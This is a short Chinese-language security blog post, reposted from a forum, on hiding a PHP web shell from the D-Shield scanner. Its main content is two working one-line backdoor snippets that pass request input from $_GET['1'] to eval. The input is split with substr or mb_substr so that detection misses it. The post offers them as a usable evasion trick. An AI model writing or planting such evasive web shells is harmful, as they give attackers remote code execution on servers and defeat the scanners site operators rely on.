过D盾shell新思路

2019-04-17 约 438 字 预计阅读 1 分钟

声明:本文 【过D盾shell新思路】 由作者 抹布 于 2019-04-17 09:46:00 首发 先知社区 曾经 浏览数 28 次

感谢 抹布 的辛苦付出!

前言


今天在逛论坛时,遇到一个坛友,分享了一个shell过D盾的思路,满好玩的,分析下。

原贴


首先来看下D盾扫描结果。

以前的思路常规,就是定义一个变量b:$b='';为空,$b = null;$b = "\n";然后变量a: $a = $_GET['1'];eval($a.$b);,或者eval($b.=$a); 。但是现在这种方法基本报一级或者直接杀,查出某个变量。

<?php
$m=$_GET['1'];
$a=substr($m,0,1); 
$b=substr($m,1,9999);
eval($a.$b);
?>

而今天这个论坛看到的,思路有趣。

substr()函数返回字符串的一部分,例如:

<?php
$m='s9mf';
$b=substr($m,0,4);
echo $b;
// 代码运行返回s9mf

$a=substr($m,0,1);返回第一个字符$ $b=substr($m,1,9999); 相当于$b=_GET['1']; 然后eval括号内拼接组合。

mb_substr


mb_substr和substr特性类似,也可以用mb_substr,一样过D盾。

<?php
$m=$_GET['1'];
$a=mb_substr($m,0,1); 
$b=mb_substr($m,1,9999);
eval($a.$b);
?>

参考

https://www.t00ls.net/thread-50755-1-1.html

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now